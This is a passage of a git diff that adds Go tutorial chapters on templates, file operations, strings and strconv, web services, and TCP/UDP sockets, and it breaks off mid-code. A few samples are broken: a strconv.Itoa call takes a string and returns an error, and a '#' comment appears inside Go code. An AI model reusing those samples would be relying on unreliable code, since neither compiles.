`{{range …}}{{end}}` for exactly that purpose. + +- {% raw %}`{{range}}`{% endraw %} just like range in Go. +- {% raw %}`{{with}}`{% endraw %} lets you write the same object name once and use `.` as shorthand for it ( ***Similar to `with` in VB*** ). + +More examples: +```Go +package main + +import ( + "html/template" + "os" +) + +type Friend struct { + Fname string +} + +type Person struct { + UserName string + Emails []string + Friends []*Friend +} + +func main() { + f1 := Friend{Fname: "minux.ma"} + f2 := Friend{Fname: "xushiwei"} + t := template.New("fieldname example") + t, _ = t.Parse(`hello {{.UserName}}! + {{range .Emails}} + an email {{.}} + {{end}} + {{with .Friends}} + {{range .}} + my friend name is {{.Fname}} + {{end}} + {{end}} + `) + p := Person{UserName: "Astaxie", + Emails: []string{"astaxie@beego.me", "astaxie@gmail.com"}, + Friends: []*Friend{&f1, &f2}} + t.Execute(os.Stdout, p) +} +``` +### Conditions + +If you need to check for conditions in templates, you can use the `if-else` syntax just like you do in regular Go programs. If the pipeline is empty, the default value of `if` is `false`. The following example shows how to use `if-else` in templates: +```Go +package main + +import ( + "os" + "text/template" +) + +func main() { + tEmpty := template.New("template test") + tEmpty = template.Must(tEmpty.Parse("Empty pipeline if demo: {{if ``}} will not be outputted. {{end}}\n")) + tEmpty.Execute(os.Stdout, nil) + + tWithValue := template.New("template test") + tWithValue = template.Must(tWithValue.Parse("Not empty pipeline if demo: {{if `anything`}} will be outputted. {{end}}\n")) + tWithValue.Execute(os.Stdout, nil) + + tIfElse := template.New("template test") + tIfElse = template.Must(tIfElse.Parse("if-else demo: {{if `anything`}} if part {{else}} else part.{{end}}\n")) + tIfElse.Execute(os.Stdout, nil) +} +``` +As you can see, it's easy to use `if-else` in templates. + +**Attention** You CANNOT use conditional expressions in if, for instance `.Mail=="astaxie@gmail.com"`. Only boolean values are acceptable. + +### pipelines + +Unix users should be familiar with the `pipe` operator, like `ls | grep "beego"`. This command filters files and only shows those that contain the word `beego`. One thing that I like about Go templates is that they support pipes. Anything in `{{}}` can be the data of pipelines. The e-mail we used above can render our application vulnerable to XSS attacks. How can we address this issue using pipes? + + {{. | html}} + +We can use this method to escape the e-mail body to HTML. It's quite similar to writing a Unix command, and it is convenient for use in template functions. + +### Template variables + +Sometimes we need to use local variables in templates. We can use them with the `with`, `range` and `if` keywords, and their scope is between these keywords and `{{end}}`. Here's an example of declaring a global variable: + + $variable := pipeline + +More examples: + + {{with $x := "output" | printf "%q"}}{{$x}}{{end}} + {{with $x := "output"}}{{printf "%q" $x}}{{end}} + {{with $x := "output"}}{{$x | printf "%q"}}{{end}} + +### Template functions + +Go uses the `fmt` package to format output in templates, but sometimes we need to do something else. For example consider the following scenario: let's say we want to replace `@` with `at` in our e-mail address, like `astaxie at beego.me`. At this point, we have to write a customized function. + +Every template function has a unique name and is associated with one function in your Go program as follows: + + type FuncMap map[string]interface{} + +Suppose we have an `emailDeal` template function associated with its `EmailDealWith` counterpart function in our Go program. We can use the following code to register this function: + + t = t.Funcs(template.FuncMap{"emailDeal": EmailDealWith}) + +`EmailDealWith` definition: + + func EmailDealWith(args …interface{}) string + +Example: +```Go +package main + +import ( + "fmt" + "html/template" + "os" + "strings" +) + +type Friend struct { + Fname string +} + +type Person struct { + UserName string + Emails []string + Friends []*Friend +} + +func EmailDealWith(args ...interface{}) string { + ok := false + var s string + if len(args) == 1 { + s, ok = args[0].(string) + } + if !ok { + s = fmt.Sprint(args...) + } + // find the @ symbol + substrs := strings.Split(s, "@") + if len(substrs) != 2 { + return s + } + // replace the @ by " at " + return (substrs[0] + " at " + substrs[1]) +} + +func main() { + f1 := Friend{Fname: "minux.ma"} + f2 := Friend{Fname: "xushiwei"} + t := template.New("fieldname example") + t = t.Funcs(template.FuncMap{"emailDeal": EmailDealWith}) + t, _ = t.Parse(`hello {{.UserName}}! + {{range .Emails}} + an emails {{.|emailDeal}} + {{end}} + {{with .Friends}} + {{range .}} + my friend name is {{.Fname}} + {{end}} + {{end}} + `) + p := Person{UserName: "Astaxie", + Emails: []string{"astaxie@beego.me", "astaxie@gmail.com"}, + Friends: []*Friend{&f1, &f2}} + t.Execute(os.Stdout, p) +} +``` +Here is a list of built-in template functions: +```Go +var builtins = FuncMap{ + "and": and, + "call": call, + "html": HTMLEscaper, + "index": index, + "js": JSEscaper, + "len": length, + "not": not, + "or": or, + "print": fmt.Sprint, + "printf": fmt.Sprintf, + "println": fmt.Sprintln, + "urlquery": URLQueryEscaper, +} + +``` +## Must + +The template package has a function called `Must` which is for validating templates, like the matching of braces, comments, and variables. Let's take a look at an example of `Must`: +```Go +package main + +import ( + "fmt" + "text/template" +) + +func main() { + tOk := template.New("first") + template.Must(tOk.Parse(" some static text /* and a comment */")) + fmt.Println("The first one parsed OK.") + + template.Must(template.New("second").Parse("some static text {{ .Name }}")) + fmt.Println("The second one parsed OK.") + + fmt.Println("The next one ought to fail.") + tErr := template.New("check parse error with Must") + template.Must(tErr.Parse(" some static text {{ .Name }")) +} +``` +Output: + + The first one parsed OK. + The second one parsed OK. + The next one ought to fail. + panic: template: check parse error with Must:1: unexpected "}" in command + +## Nested templates + +Just like in most web applications, certain parts of templates can be reused across other templates, like the headers and footers of a blog. We can declare `header`, `content` and `footer` as sub-templates, and declare them in Go using the following syntax: + + {{define "sub-template"}}content{{end}} + +The sub-template is called using the following syntax: + + {{template "sub-template"}} + +Here's a complete example, supposing that we have the following three files: `header.tmpl`, `content.tmpl` and `footer.tmpl` in the folder `templates`, we will read the folder and store the file names in a string array, which we will then use to parse files. + +Main template: +```html +{% raw %} +//header.tmpl +{{define "header"}} + + + Something here + + +{{end}} + +//content.tmpl +{{define "content"}} +{{template "header"}} +

Nested here

+
    +
  • Nested usag
  • +
  • Call template
  • +
+{{template "footer"}} +{{end}} + +//footer.tmpl +{{define "footer"}} + + +{{end}} + +//When using subtemplating make sure that you have parsed each sub template file, +//otherwise the compiler wouldn't understand what to substitute when it reads the {{template "header"}} + +{% endraw %} +``` +Code: +```Go +package main + +import ( + "fmt" + "os" + "io/ioutil" + "text/template" + "strings" +) + +var templates *template.Template + +func main() { + var allFiles []string + files, err := ioutil.ReadDir("./templates") + if err != nil { + fmt.Println(err) + } + for _, file := range files { + filename := file.Name() + if strings.HasSuffix(filename, ".tmpl") { + allFiles = append(allFiles, "./templates/"+filename) + } + } + + templates, err = template.ParseFiles(allFiles...) #parses all .tmpl files in the 'templates' folder + + s1 := templates.Lookup("header.tmpl") + s1.ExecuteTemplate(os.Stdout, "header", nil) + fmt.Println() + s2 := templates.Lookup("content.tmpl") + s2.ExecuteTemplate(os.Stdout, "content", nil) + fmt.Println() + s3 := templates.Lookup("footer.tmpl") + s3.ExecuteTemplate(os.Stdout, "footer", nil) + fmt.Println() + s3.Execute(os.Stdout, nil) +} +``` +Here we can see that `template.ParseFiles` parses all nested templates into cache, and that every template defined by `{{define}}` are independent of each other. They are persisted in something like a map, where the template names are keys and the values are the template bodies. We can then use `ExecuteTemplate` to execute the corresponding sub-templates, so that the header and footer are independent and content contains them both. Note that if we try to execute `s1.Execute`, nothing will be outputted because there is no default sub-template available. + +When you don't want to use `{{define}}`, then you can just create a text file with the name of the sub template, for instance `_head.tmpl` is a sub template which you'll use across your project then create this file in the templates folder, and use the normal syntax. Lookup cache is basically created so that you don't read the file every time you serve a request, because if you do, then you are wasting a lot of resources for reading a file which won't change unless the codebase is being rewritten, it doesn't make sense to parse the template files during each HTTP GET request, so the technique is used where we parse the files once and then do a `Lookup()` on the cache to execute the template when we need it to display data. + +Templates in one set know each other, but you must parse them for every single set. + +Some times you want to contextualize templates, for instance you have a `_head.html`, you might have a header who's value you have to populate based on which data you are loading for instance for a todo list manager you can have three categories `pending`, `completed`, `deleted`. for this suppose you have an if statement like this +```html +{{if eq .Navigation "pending"}} Tasks + {{ else if eq .Navigation "completed"}}Completed + {{ else if eq .Navigation "deleted"}}Deleted + {{ else if eq .Navigation "edit"}} Edit + {{end}} + +``` +Note: Go templates follow the Polish notation while performing the comparison where you give the operator first and the comparison value and the value to be compared with. The else if part is pretty straight forward + +Typically we use a `{{ range }}` operator to loop through the context variable which we pass to the template while execution like this: +```Go + //present in views package + context := db.GetTasks("pending") //true when you want non deleted notes + homeTemplate.Execute(w, context) +``` +We get the context object from the database as a struct object, the definition is as below +```Go +//Task is the struct used to identify tasks +type Task struct { + Id int + Title string + Content string + Created string +} +//Context is the struct passed to templates +type Context struct { + Tasks []Task + Navigation string + Search string + Message string +} + +//present in database package +var task []types.Task +var context types.Context +context = types.Context{Tasks: task, Navigation: status} + +//This line is in the database package where the context is returned back to the view. +``` +We use the task array and the Navigation in our templates, we saw how we use the Navigation in the template, +we'll see how we'll use the actual task array in our template. + +Here in the `{{ if .Tasks }}` we first check if the Tasks field of our context object which we passed to the template +while executing is empty or not. If it is not empty then we will range through that array to populate the title and +content of Task. The below example is very important when it comes to looping through an array in a template, we +start with the Range operator, then we can give any member of that struct as `{{.Name}}`, my Task structure has a +Title and a Content, (please note the capital T and C, they are exported names and they need to be capitalised unless you +want to make them private). +```Go +{{ range .Tasks }} + {{ .Title }} + {{ .Content }} +{{ end }} +``` +This block of code will print each title and content of the Task array. Below is a full example from github.com/thewhitetulip/Tasks home.html template. +```html +
+{{ if .Tasks}} {{range .Tasks}} +
+

{{.Title}}

+
+

{{.Content}}

+ + +
+{{end}} {{else}} +
+

No Tasks here

+

+ Create new task

+
+{{end}} +``` + +## Summary + +In this section, you learned how to combine dynamic data with templates using techniques including printing data in loops, template functions and nested templates. By learning about templates, we can conclude discussing the V (View) part of the MVC architecture. In the following chapters, we will cover the M (Model) and C (Controller) aspects of MVC. + +## Links + +- [Directory](preface.md) +- Previous section: [Regexp](07.3.md) +- Next section: [Files](07.5.md) diff --git a/th/07.5.md b/th/07.5.md new file mode 100644 index 000000000..5f160779a --- /dev/null +++ b/th/07.5.md @@ -0,0 +1,159 @@ +# 7.5 Files + +Files are essential objects on every single computer device. It won't come as any surprise to you that web applications also make heavy use of them. In this section, we're going to learn how to operate on files in Go. + +## Directories + +In Go, most of the file operation functions are located in the `os` package. Here are some directory functions: + +- func Mkdir(name string, perm FileMode) error + + Create a directory with `name`. `perm` is the directory permissions, i.e 0777. + +- func MkdirAll(path string, perm FileMode) error + + Create multiple directories according to `path`, like `astaxie/test1/test2`. + +- func Remove(name string) error + + Removes directory with `name`. Returns error if it's not a directory or not empty. + +- func RemoveAll(path string) error + + Removes multiple directories according to `path`. Directories will not be deleted if `path` is a single path. + +Code sample: +```Go +package main + +import ( + "fmt" + "os" +) + +func main() { + os.Mkdir("astaxie", 0777) + os.MkdirAll("astaxie/test1/test2", 0777) + err := os.Remove("astaxie") + if err != nil { + fmt.Println(err) + } + os.RemoveAll("astaxie") +} +``` +## Files + +### Create and open files + +There are two functions for creating files: + +- func Create(name string) (file *File, err Error) + + Create a file with `name` and return a read-writable file object with permission 0666. + +- func NewFile(fd uintptr, name string) *File + + Create a file and return a file object. + + +There are also two functions to open files: + +- func Open(name string) (file *File, err Error) + + Opens a file called `name` with read-only access, calling `OpenFile` under the covers. + +- func OpenFile(name string, flag int, perm uint32) (file *File, err Error) + + Opens a file called `name`. `flag` is open mode like read-only, read-write, etc. `perm` are the file permissions. + +### Write files + +Functions for writing files: + +- func (file *File) Write(b []byte) (n int, err Error) + + Write byte type content to a file. + +- func (file *File) WriteAt(b []byte, off int64) (n int, err Error) + + Write byte type content to a specific position of a file. + +- func (file *File) WriteString(s string) (ret int, err Error) + + Write a string to a file. + +Code sample: +```Go +package main + +import ( + "fmt" + "os" +) + +func main() { + userFile := "astaxie.txt" + fout, err := os.Create(userFile) + if err != nil { + fmt.Println(userFile, err) + return + } + defer fout.Close() + for i := 0; i < 10; i++ { + fout.WriteString("Just a test!\r\n") + fout.Write([]byte("Just a test!\r\n")) + } +} +``` +### Read files + +Functions for reading files: + +- func (file *File) Read(b []byte) (n int, err Error) + + Read data to `b`. + +- func (file *File) ReadAt(b []byte, off int64) (n int, err Error) + + Read data from position `off` to `b`. + +Code sample: +```Go +package main + +import ( + "fmt" + "os" +) + +func main() { + userFile := "asatxie.txt" + fl, err := os.Open(userFile) + if err != nil { + fmt.Println(userFile, err) + return + } + defer fl.Close() + buf := make([]byte, 1024) + for { + n, _ := fl.Read(buf) + if 0 == n { + break + } + os.Stdout.Write(buf[:n]) + } +} +``` +### Delete files + +Go uses the same function for removing files and directories: + +- func Remove(name string) Error + + Remove a file or directory called `name`.( *** a `name` ending with `/` signifies that it's a directory*** ) + +## Links + +- [Directory](preface.md) +- Previous section: [Templates](07.4.md) +- Next section: [Strings](07.6.md) diff --git a/th/07.6.md b/th/07.6.md new file mode 100644 index 000000000..694b83964 --- /dev/null +++ b/th/07.6.md @@ -0,0 +1,162 @@ +# 7.6 Strings + +On the web, almost everything we see (including user inputs, database access, etc.), is represented by strings. They are a very important part of web development. In many cases, we also need to split, join, convert and otherwise manipulate strings. In this section, we are going to introduce the `strings` and `strconv` packages from the Go standard library. + +## strings + +The following functions are from the `strings` package. See the official documentation for more details: + +- func Contains(s, substr string) bool + + Check if string `s` contains string `substr`, returns a boolean value. +```Go +fmt.Println(strings.Contains("seafood", "foo")) +fmt.Println(strings.Contains("seafood", "bar")) +fmt.Println(strings.Contains("seafood", "")) +fmt.Println(strings.Contains("", "")) + +//Output: +//true +//false +//true +//true +``` +- func Join(a []string, sep string) string + + Combine strings from slice with separator `sep`. +```Go +s := []string{"foo", "bar", "baz"} +fmt.Println(strings.Join(s, ", ")) +//Output:foo, bar, baz +``` +- func Index(s, sep string) int + + Find index of `sep` in string `s`, returns -1 if it's not found. +```Go +fmt.Println(strings.Index("chicken", "ken")) +fmt.Println(strings.Index("chicken", "dmr")) +//Output:4 +//-1 +``` +- func Repeat(s string, count int) string + + Repeat string `s` `count` times. +```Go +fmt.Println("ba" + strings.Repeat("na", 2)) +//Output:banana +``` +- func Replace(s, old, new string, n int) string + + Replace string `old` with string `new` in string `s`. `n` is the number of replacements. If n is less than 0, replace all instances. +```Go +fmt.Println(strings.Replace("oink oink oink", "k", "ky", 2)) +fmt.Println(strings.Replace("oink oink oink", "oink", "moo", -1)) +//Output:oinky oinky oink +//moo moo moo +``` +- func Split(s, sep string) []string + + Split string `s` with separator `sep` into a slice. +```Go +fmt.Printf("%q\n", strings.Split("a,b,c", ",")) +fmt.Printf("%q\n", strings.Split("a man a plan a canal panama", "a ")) +fmt.Printf("%q\n", strings.Split(" xyz ", "")) +fmt.Printf("%q\n", strings.Split("", "Bernardo O'Higgins")) +//Output:["a" "b" "c"] +//["" "man " "plan " "canal panama"] +//[" " "x" "y" "z" " "] +//[""] +``` +- func Trim(s string, cutset string) string + + Remove `cutset` of string `s` if it's leftmost or rightmost. +```Go +fmt.Printf("[%q]", strings.Trim(" !!! Achtung !!! ", "! ")) +Output:["Achtung"] +``` +- func Fields(s string) []string + + Remove space items and split string with space into a slice. +```Go +fmt.Printf("Fields are: %q", strings.Fields(" foo bar baz ")) +//Output:Fields are: ["foo" "bar" "baz"] +``` + +## strconv + +The following functions are from the `strconv` package. As usual, please see official documentation for more details: + +- Append series, convert data to string, and append to current byte slice. +```Go +package main + +import ( + "fmt" + "strconv" +) + +func main() { + str := make([]byte, 0, 100) + str = strconv.AppendInt(str, 4567, 10) + str = strconv.AppendBool(str, false) + str = strconv.AppendQuote(str, "abcdefg") + str = strconv.AppendQuoteRune(str, '单') + fmt.Println(string(str)) +} +``` +- Format series, convert other data types into string. +```Go +package main + +import ( + "fmt" + "strconv" +) + +func main() { + a := strconv.FormatBool(false) + b := strconv.FormatFloat(123.23, 'g', 12, 64) + c := strconv.FormatInt(1234, 10) + d := strconv.FormatUint(12345, 10) + e := strconv.Itoa(1023) + fmt.Println(a, b, c, d, e) +} +``` +- Parse series, convert strings to other types. +```Go +package main + +import ( + "fmt" + "strconv" +) + +func main() { + a, err := strconv.ParseBool("false") + if err != nil { + fmt.Println(err) + } + b, err := strconv.ParseFloat("123.23", 64) + if err != nil { + fmt.Println(err) + } + c, err := strconv.ParseInt("1234", 10, 64) + if err != nil { + fmt.Println(err) + } + d, err := strconv.ParseUint("12345", 10, 64) + if err != nil { + fmt.Println(err) + } + e, err := strconv.Itoa("1023") + if err != nil { + fmt.Println(err) + } + fmt.Println(a, b, c, d, e) +} +``` +## Links + +- [Directory](preface.md) +- Previous section: [Files](07.5.md) +- Next section: [Summary](07.7.md) diff --git a/th/07.7.md b/th/07.7.md new file mode 100644 index 000000000..bff02795f --- /dev/null +++ b/th/07.7.md @@ -0,0 +1,9 @@ +# 7.7 Summary + +In this chapter, we introduced some text processing tools like XML, JSON, Regexp and we also talked about templates. XML and JSON are data exchange tools. You can represent almost any kind of information using these two formats. Regexp is a powerful tool for searching, replacing and cutting text content. With templates, you can easily combine dynamic data with static files. These tools are all useful when developing web applications. I hope that you now have a better understanding of processing and displaying content using Go. + +## Links + +- [Directory](preface.md) +- Previous section: [Strings](07.6.md) +- Next chapter: [Web services](08.0.md) diff --git a/th/08.0.md b/th/08.0.md new file mode 100644 index 000000000..dc040939b --- /dev/null +++ b/th/08.0.md @@ -0,0 +1,18 @@ +# 8 Web services + +Web services allow you use formats like XML or JSON to exchange information through HTTP. For example, if you want to know the weather in Shanghai tomorrow, the current share price of Apple, or product information on Amazon, you can write a piece of code to fetch that information from open platforms. In Go, this process can be comparable to calling a local function and getting its return value. + +The key point is that web services are platform independent. This allows you to deploy your applications on Linux and interact with ASP.NET applications in Windows, for example, just like you wouldn't have a problem interacting with JSP on FreeBSD either. + +The REST architecture and SOAP protocol are the most popular styles in which web services can be implemented these days: + +- REST requests are pretty straight forward because it's based on HTTP. Every REST request is actually an HTTP request, and servers handle requests using different methods. Because many developers are familiar with HTTP already, REST should feel like it's already in their back pockets. We are going to show you how to implement REST in Go in section 8.3. +- SOAP is a standard for cross-network information transmission and remote computer function calls, launched by W3C. The problem with SOAP is that its specification is very long and complicated, and it's still getting longer. Go believes that things should be simple, so we're not going to talk about SOAP. Fortunately, Go provides support for RPC (Remote Procedure Calls) which has good performance and is easy to develop with, so we will introduce how to implement RPC in Go in section 8.4. + +Go is the C language of the 21st century, aspiring to be simple yet performant. With these qualities in mind, we'll introduce you to socket programming in Go in section 8.1. Nowadays, many real-time servers use sockets to overcome the low performance of HTTP. Along with the rapid development of HTML5, websockets are now used by many web based game companies, and we will talk about this more in section 8.2. + +## Links + +- [Directory](preface.md) +- Previous Chapter: [Chapter 7 Summary](07.7.md) +- Next section: [Sockets](08.1.md) diff --git a/th/08.1.md b/th/08.1.md new file mode 100644 index 000000000..0ecf79520 --- /dev/null +++ b/th/08.1.md @@ -0,0 +1,409 @@ +# 8.1 Sockets + +Some network application developers say that the lower application layers are all about socket programming. This may not be true for all cases, but many modern web applications do indeed use sockets to their advantage. Have you ever wondered how browsers communicate with web servers when you are surfing the internet? Or How MSN connects you and your friends together in a chatroom, relaying each message in real-time? Many services like these use sockets to transfer data. As you can see, sockets occupy an important position in network programming today, and we're going to learn about using sockets in Go in this section. + +## What is a socket? + +Sockets originate from Unix, and given the basic "everything is a file" philosophy of Unix, everything can be operated on with "open -> write/read -> close". Sockets are one implementation of this philosophy. Sockets have a function call for opening a socket just like you would open a file. This returns an int descriptor of the socket which can then be used for operations like creating connections, transferring data, etc. + +Two types of sockets that are commonly used are stream sockets (SOCK_STREAM) and datagram sockets (SOCK_DGRAM). Stream sockets are connection-oriented like TCP, while datagram sockets do not establish connections, like UDP. + +## Socket communication + +Before we understand how sockets communicate with one another, we need to figure out how to make sure that every socket is unique, otherwise establishing a reliable communication channel is already out of the question. We can give every process a unique PID which serves our purpose locally, however that's not able to work over a network. Fortunately, TCP/IP helps us solve this problem. The IP addresses of the network layer are unique in a network of hosts, and "protocol + port" is also unique among host applications. So, we can use these principles to make sockets which are unique. + +![](images/8.1.socket.png?raw=true) + +Figure 8.1 network protocol layers + +Applications that are based on TCP/IP all use socket APIs in their code in one way or another. Given that networked applications are becoming more and more prevalent in the modern day, it's no wonder some developers are saying that "everything is about sockets". + +## Socket basic knowledge + +We know that sockets have two types, which are TCP sockets and UDP sockets. TCP and UDP are protocols and, as mentioned, we also need an IP address and port number to have a unique socket. + +### IPv4 + +The global internet uses TCP/IP as its protocol, where IP is the network layer and a core part of TCP/IP. IPv4 signifies that its version is 4; infrastructure development to date has spanned over 30 years. + +The number of bits in an IPv4 address is 32, which means that 2^32 devices are able to uniquely connect to the internet. Due to the rapid develop of the internet, IP addresses are already running out of stock in recent years. + +Address format:`127.0.0.1`, `172.122.121.111`. + +### IPv6 + +IPv6 is the next version or next generation of the internet. It's being developed for solving many of the problems inherent with IPv4. Devices using IPv6 have an address that's 128 bits long, so we'll never need to worry about a shortage of unique addresses. To put this into perspective, you could have more than 1000 IP addresses for every square meter on earth with IPv6. Other problems like peer to peer connection, service quality (QoS), security, multiple broadcast, etc., are also be improved. + +Address format: `2002:c0e8:82e7:0:0:0:c0e8:82e7`. + +### IP types in Go + +The `net` package in Go provides many types, functions and methods for network programming. The definition of IP as follows: + + type IP []byte + +Function `ParseIP(s string) IP` is to convert the IPv4 or IPv6 format to an IP: + + package main + import ( + "net" + "os" + "fmt" + ) + func main() { + if len(os.Args) != 2 { + fmt.Fprintf(os.Stderr, "Usage: %s ip-addr\n", os.Args[0]) + os.Exit(1) + } + name := os.Args[1] + addr := net.ParseIP(name) + if addr == nil { + fmt.Println("Invalid address") + } else { + fmt.Println("The address is ", addr.String()) + } + os.Exit(0) + } + +It returns the corresponding IP format for a given IP address. + +## TCP socket + +What can we do when we know how to visit a web service through a network port? As a client, we can send a request to an appointed network port and gets its response; as a server, we need to bind a service to an appointed network port, wait for clients' requests and supply a response. + +In Go's `net` package, there's a type called `TCPConn` that facilitates this kind of clients/servers interaction. This type has two key functions: + + func (c *TCPConn) Write(b []byte) (n int, err os.Error) + func (c *TCPConn) Read(b []byte) (n int, err os.Error) + +`TCPConn` can be used by either client or server for reading and writing data. + +We also need a `TCPAddr` to represent TCP address information: + + type TCPAddr struct { + IP IP + Port int + } + +We use the `ResolveTCPAddr` function to get a `TCPAddr` in Go: + + func ResolveTCPAddr(net, addr string) (*TCPAddr, os.Error) + +- Arguments of `net` can be one of "tcp4", "tcp6" or "tcp", which each signify IPv4-only, IPv6-only, and either IPv4 or IPv6, respectively. +- `addr` can be a domain name or IP address, like "www.google.com:80" or "127.0.0.1:22". + +### TCP client + +Go clients use the `DialTCP` function in the `net` package to create a TCP connection, which returns a `TCPConn` object; after a connection is established, the server has the same type of connection object for the current connection, and client and server can begin exchanging data with one another. In general, clients send requests to servers through a `TCPConn` and receive information from the server response; servers read and parse client requests, then return feedback. This connection will remain valid until either the client or server closes it. The function for creating a connection is as follows: + + func DialTCP(net string, laddr, raddr *TCPAddr) (c *TCPConn, err os.Error) + +- Arguments of `net` can be one of "tcp4", "tcp6" or "tcp", which each signify IPv4-only, IPv6-only, and either IPv4 or IPv6, respectively. +- `laddr` represents the local address, set it to `nil` in most cases. +- `raddr` represents the remote address. + +Let's write a simple example to simulate a client requesting a connection to a server based on an HTTP request. We need a simple HTTP request header: + + "HEAD / HTTP/1.0\r\n\r\n" + +Server response information format may look like the following: + + HTTP/1.0 200 OK + ETag: "-9985996" + Last-Modified: Thu, 25 Mar 2010 17:51:10 GMT + Content-Length: 18074 + Connection: close + Date: Sat, 28 Aug 2010 00:43:48 GMT + Server: lighttpd/1.4.23 + +Client code: + + package main + + import ( + "fmt" + "io/ioutil" + "net" + "os" + ) + + func main() { + if len(os.Args) != 2 { + fmt.Fprintf(os.Stderr, "Usage: %s host:port ", os.Args[0]) + os.Exit(1) + } + service := os.Args[1] + tcpAddr, err := net.ResolveTCPAddr("tcp4", service) + checkError(err) + conn, err := net.DialTCP("tcp", nil, tcpAddr) + checkError(err) + _, err = conn.Write([]byte("HEAD / HTTP/1.0\r\n\r\n")) + checkError(err) + result, err := ioutil.ReadAll(conn) + checkError(err) + fmt.Println(string(result)) + os.Exit(0) + } + func checkError(err error) { + if err != nil { + fmt.Fprintf(os.Stderr, "Fatal error: %s", err.Error()) + os.Exit(1) + } + } + +In the above example, we use user input as the `service` argument of `net.ResolveTCPAddr` to get a `tcpAddr`. Passing `tcpAddr` to the `DialTCP` function, we create a TCP connection, `conn`. We can then use `conn` to send request information to the server. Finally, we use `ioutil.ReadAll` to read all the content from `conn`, which contains the server response. + +### TCP server + +We have a TCP client now. We can also use the `net` package to write a TCP server. On the server side, we need to bind our service to a specific inactive port and listen for any incoming client requests. + + func ListenTCP(net string, laddr *TCPAddr) (l *TCPListener, err os.Error) + func (l *TCPListener) Accept() (c Conn, err os.Error) + +The arguments required here are identical to those required by the `DialTCP` function we used earlier. Let's implement a time syncing service using port 7777: + + package main + + import ( + "fmt" + "net" + "os" + "time" + ) + + func main() { + service := ":7777" + tcpAddr, err := net.ResolveTCPAddr("tcp4", service) + checkError(err) + listener, err := net.ListenTCP("tcp", tcpAddr) + checkError(err) + for { + conn, err := listener.Accept() + if err != nil { + continue + } + daytime := time.Now().String() + conn.Write([]byte(daytime)) // don't care about return value + conn.Close() // we're finished with this client + } + } + func checkError(err error) { + if err != nil { + fmt.Fprintf(os.Stderr, "Fatal error: %s", err.Error()) + os.Exit(1) + } + } + +After the service is started, it waits for client requests. When it receives a client request, it `Accept`s it and returns a response to the client containing information about the current time. It's worth noting that when errors occur in the `for` loop, the service continues running instead of exiting. Instead of crashing, the server will record the error to a server error log. + +The above code is still not good enough, however. We didn't make use of goroutines, which would have allowed us to accept simultaneous requests. Let's do this now: + + package main + + import ( + "fmt" + "net" + "os" + "time" + ) + + func main() { + service := ":1200" + tcpAddr, err := net.ResolveTCPAddr("tcp4", service) + checkError(err) + listener, err := net.ListenTCP("tcp", tcpAddr) + checkError(err) + for { + conn, err := listener.Accept() + if err != nil { + continue + } + go handleClient(conn) + } + } + + func handleClient(conn net.Conn) { + defer conn.Close() + daytime := time.Now().String() + conn.Write([]byte(daytime)) // don't care about return value + // we're finished with this client + } + func checkError(err error) { + if err != nil { + fmt.Fprintf(os.Stderr, "Fatal error: %s", err.Error()) + os.Exit(1) + } + } + +By separating out our business process from the `handleClient` function, and by using the `go` keyword, we've already implemented concurrency in our service. This is a good demonstration of the power and simplicity of goroutines. + +Some of you may be thinking the following: this server does not do anything meaningful. What if we needed to send multiple requests for different time formats over a single connection? How would we do that? + + package main + + import ( + "fmt" + "net" + "os" + "time" + "strconv" + ) + + func main() { + service := ":1200" + tcpAddr, err := net.ResolveTCPAddr("tcp4", service) + checkError(err) + listener, err := net.ListenTCP("tcp", tcpAddr) + checkError(err) + for { + conn, err := listener.Accept() + if err != nil { + continue + } + go handleClient(conn) + } + } + + func handleClient(conn net.Conn) { + conn.SetReadDeadline(time.Now().Add(2 * time.Minute)) // set 2 minutes timeout + request := make([]byte, 128) // set maximum request length to 128B to prevent flood based attacks + defer conn.Close() // close connection before exit + for { + read_len, err := conn.Read(request) + + if err != nil { + fmt.Println(err) + break + } + + if read_len == 0 { + break // connection already closed by client + } else if string(request[:read_len]) == "timestamp" { + daytime := strconv.FormatInt(time.Now().Unix(), 10) + conn.Write([]byte(daytime)) + } else { + daytime := time.Now().String() + conn.Write([]byte(daytime)) + } + } + } + + func checkError(err error) { + if err != nil { + fmt.Fprintf(os.Stderr, "Fatal error: %s", err.Error()) + os.Exit(1) + } + } + +In this example, we use `conn.Read()` to constantly read client requests. We cannot close the connection because clients may issue more than one request. Due to the timeout we set using `conn.SetReadDeadline()`, the connection closes automatically after our allotted time period. When the expiry time has elapsed, our program breaks from the `for` loop. Notice that `request` needs to be created with a max size limitation in order to prevent flood attacks. + +### Controlling TCP connections + +Controlling TCP functions: + + func DialTimeout(net, addr string, timeout time.Duration) (Conn, error) + +Setting the timeout of connections. These are suitable for use on both clients and servers: + + func (c *TCPConn) SetReadDeadline(t time.Time) error + func (c *TCPConn) SetWriteDeadline(t time.Time) error + +Setting the write/read timeout of one connection: + + func (c *TCPConn) SetKeepAlive(keepalive bool) os.Error + +It's worth taking some time to think about how long you want your connection timeouts to be. Long connections can reduce the amount of overhead involved in creating connections and are good for applications that need to exchange data frequently. + +For more detailed information, just look up the official documentation for Go's `net` package . + +## UDP sockets + +The only difference between a UDP socket and a TCP socket is the processing method for dealing with multiple requests on server side. This arises from the fact that UDP does not have a function like `Accept`. All of the other functions have `UDP` counterparts; just replace `TCP` with `UDP` in the functions mentioned above. + + func ResolveUDPAddr(net, addr string) (*UDPAddr, os.Error) + func DialUDP(net string, laddr, raddr *UDPAddr) (c *UDPConn, err os.Error) + func ListenUDP(net string, laddr *UDPAddr) (c *UDPConn, err os.Error) + func (c *UDPConn) ReadFromUDP(b []byte) (n int, addr *UDPAddr, err os.Error + func (c *UDPConn) WriteToUDP(b []byte, addr *UDPAddr) (n int, err os.Error) + +UDP client code sample: + + package main + + import ( + "fmt" + "net" + "os" + ) + + func main() { + if len(os.Args) != 2 { + fmt.Fprintf(os.Stderr, "Usage: %s host:port", os.Args[0]) + os.Exit(1) + } + service := os.Args[1] + udpAddr, err := net.ResolveUDPAddr("udp4", service) + checkError(err) + conn, err := net.DialUDP("udp", nil, udpAddr) + checkError(err) + _, err = conn.Write([]byte("anything")) + checkError(err) + var buf [512]byte + n, err := conn.Read(buf[0:]) + checkError(err) + fmt.Println(string(buf[0:n])) + os.Exit(0) + } + func checkError(err error) { + if err != nil { + fmt.Fprintf(os.Stderr, "Fatal error ", err.Error()) + os.Exit(1) + } + } + +UDP server code sample: + + package main + + import ( + "fmt" + "net" + "os" + "time" + ) + + func main() { + service := ":1200" + udpAddr, err := net.ResolveUDPAddr("udp4", service) + checkError(err) + conn, err := net.ListenUDP("udp", udpAddr) + checkError(err) + for { + handleClient(conn) + } + } + func handleClient(conn 